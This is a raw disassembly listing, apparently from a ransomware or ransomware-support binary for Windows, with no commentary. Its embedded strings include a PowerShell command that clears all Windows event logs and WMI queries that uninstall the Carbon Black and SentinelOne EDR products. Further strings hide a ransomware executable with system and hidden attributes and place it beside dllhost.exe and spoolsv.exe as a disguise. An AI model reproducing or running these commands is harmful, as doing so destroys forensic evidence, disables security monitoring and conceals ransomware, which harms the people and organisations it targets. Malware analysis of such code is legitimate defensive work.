lea rdx, str.powershell_Commandwevtutil_el__ForEach_Object__wevtutil_cl____Windows_Event_Logs_cleared._n
mov r8d, 0xa
mov rcx, rsi
call fcn.14004bf00
lea rdx, [0x140068f9a]
mov r8d, 8
mov rcx, rsi
call fcn.14004c020
lea rdx, str.Get_WmiObject__Query__SELECT__FROM_Win32_Product_WHERE_Name_LIKE__Carbon_Black____ForEach_Object____.Uninstall___Get_WmiObject__Query__SELECT__FROM_Win32_Product_WHERE_Name_LIKE__SentinelOne____ForEach_Object____.Uninstall___EDR_tools_uninstalled._n
lea rcx, [rbp - 0x30]
mov r8d, 0x77
call fcn.14004c020
mov dword [rbp + 0x270], 2
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c130
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c170
lea rcx, [rbp + 0x1a8]
lea rdx, [rbp - 0x30]
call fcn.1400426d0
mov rdx, qword [rbp + 0x1a8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x140011260
mov rcx, qword [rbp + 0x1b0]
call fcn.14000bf30
jmp 0x140011295
test rdx, rdx
je 0x140011277
mov rcx, qword [rbp + 0x1b0]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp + 0x1c0]
test rdx, rdx
je 0x140011295
mov rcx, qword [rbp + 0x1c8]
mov r8d, 1
call fcn.140016730
lea rcx, [rbp - 0x30]
call fcn.140009210
lea rax, [0x140068f80]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
lea rcx, [rbp - 0x30]
call fcn.14003ea30
mov ecx, 1
xor edx, edx
call fcn.14003c630
lea rdx, str.powershell_Commandwevtutil_el__ForEach_Object__wevtutil_cl____Windows_Event_Logs_cleared._n
mov r8d, 0xa
mov rcx, rsi
call fcn.14004bf00
lea rdx, [0x140068f9a]
mov r8d, 8
mov rcx, rsi
call fcn.14004c020
lea rdx, [0x140068fa2]
lea rcx, [rbp - 0x30]
mov r8d, 0x2f
call fcn.14004c020
mov dword [rbp + 0x270], 2
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c130
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c170
lea rcx, [rbp + 0x1a8]
lea rdx, [rbp - 0x30]
call fcn.1400426d0
mov rdx, qword [rbp + 0x1a8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x140011373
mov rcx, qword [rbp + 0x1b0]
call fcn.14000bf30
jmp 0x1400113a8
test rdx, rdx
je 0x14001138a
mov rcx, qword [rbp + 0x1b0]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp + 0x1c0]
test rdx, rdx
je 0x1400113a8
mov rcx, qword [rbp + 0x1c8]
mov r8d, 1
call fcn.140016730
lea rcx, [rbp - 0x30]
call fcn.140009210
lea rax, [0x140068ff0]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
lea rcx, [rbp - 0x30]
call fcn.14003ea30
mov ecx, 1
xor edx, edx
call fcn.14003c630
lea rcx, str.path_to_ransomware_executableattribSHAnti_AV_EDR_operations_completed._n
lea r8, [0x14006901f]
mov edx, 0x1d
mov r9d, 0x1f
call fcn.1400494f0
test rax, rax
je 0x140011413
mov rcx, rdx
call fcn.14000bf30
lea rdx, [0x14006909d]
mov r8d, 6
mov rcx, rsi
call fcn.14004bf00
lea rdx, [0x1400690a5]
mov r8d, 2
mov rcx, rsi
call fcn.14004c020
lea rdx, [0x1400690a3]
lea rcx, [rbp - 0x30]
mov r8d, 2
call fcn.14004c020
lea rdx, [0x14006901f]
lea rcx, [rbp - 0x30]
mov r8d, 0x1f
call fcn.14004c020
mov dword [rbp + 0x270], 2
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c130
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c170
lea rcx, [rbp + 0x1a8]
lea rdx, [rbp - 0x30]
call fcn.1400426d0
mov rdx, qword [rbp + 0x1a8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x1400114c7
mov rcx, qword [rbp + 0x1b0]
call fcn.14000bf30
jmp 0x1400114fc
test rdx, rdx
je 0x1400114de
mov rcx, qword [rbp + 0x1b0]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp + 0x1c0]
test rdx, rdx
je 0x1400114fc
mov rcx, qword [rbp + 0x1c8]
mov r8d, 1
call fcn.140016730
lea rcx, [rbp - 0x30]
call fcn.140009210
lea rcx, str.path_to_ransomware_executableattribSHAnti_AV_EDR_operations_completed._n
lea r8, str.C:WindowsSystem32dllhost.exeC:WindowsSystem32_spoolsv.exeRansomware_executable_hidden_among_system_files._n
mov edx, 0x1d
mov r9d, 0x1f
call fcn.1400494f0
test rax, rax
je 0x140011530
mov rcx, rdx
call fcn.14000bf30
lea rdx, [0x14006909d]
mov r8d, 6
mov rcx, rsi
call fcn.14004bf00
lea rdx, [0x1400690a5]
mov r8d, 2
mov rcx, rsi
call fcn.14004c020
lea rdx, [0x1400690a3]
lea rcx, [rbp - 0x30]
mov r8d, 2
call fcn.14004c020
lea rdx, str.C:WindowsSystem32dllhost.exeC:WindowsSystem32_spoolsv.exeRansomware_executable_hidden_among_system_files._n
lea rcx, [rbp - 0x30]
mov r8d, 0x1f
call fcn.14004c020
mov dword [rbp + 0x270], 2
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c130
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c170
lea rcx, [rbp + 0x1a8]
lea rdx, [rbp - 0x30]
call fcn.1400426d0
mov rdx, qword [rbp + 0x1a8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x1400115e4
mov rcx, qword [rbp + 0x1b0]
call fcn.14000bf30
jmp 0x140011619
test rdx, rdx
je 0x1400115fb
mov rcx, qword [rbp + 0x1b0]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp + 0x1c0]
test rdx, rdx
je 0x140011619
mov rcx, qword [rbp + 0x1c8]
mov r8d, 1
call fcn.140016730
lea rcx, [rbp - 0x30]
call fcn.140009210
lea rax, [0x140069070]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
xorps xmm6, xmm6
movups xmmword [rbp - 0x18], xmm6
lea rcx, [rbp - 0x30]
call fcn.14003ea30
lea rax, [0x1400690d0]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
movups xmmword [rbp - 0x18], xmm6
lea rcx, [rbp - 0x30]
call fcn.14003ea30
movaps xmm6, xmmword [rbp + 0x2b0]
add rsp, 0x348
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret